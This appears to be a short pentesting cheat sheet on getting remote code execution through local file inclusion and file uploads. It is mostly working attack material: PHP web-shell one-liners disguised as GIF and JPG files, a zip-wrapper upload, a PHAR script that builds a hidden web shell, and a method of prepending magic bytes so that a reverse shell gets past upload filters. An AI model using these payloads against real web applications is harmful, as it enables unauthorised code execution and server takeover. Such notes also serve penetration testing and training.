LFI and File Upload to RCE
Crafting Malicious Image
we can create a malicious image and then try to get RCE
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifZIP Upload To RCE
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg), as follows:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.phpPHAR Upload
we can use the phar:// wrapper to achieve a similar result. To do so, we will first write the following PHP script into a shell.php file:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();This script can be compiled into a phar file that when called would write a web shell to a shell.txt sub-file, which we can interact with. We can compile it into a phar file and rename it to shell.jpg as follows:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpgNow, we should have a phar file called shell.jpg. Once we upload it to the web application, we can simply call it with phar:// and provide its URL path, and then specify the phar sub-file with /shell.txt (URL encoded) to get the output of the command we specify with (&cmd=id)

Magic Bytes
Sometimes there is a strong filter on the file extension when we are uploading files , we can try to bypass that using magic bytes, which means that i will upload the file extension which is required by the server and then i will add the magic byte in the beginning and rest of the file will be my reverse shell and in that case i will get a reverse shell back.
now i will add the pdf magic byte in the beginning and rest of it will be a reverse shell
now find the file where is is uploading and try to get a reverse shell
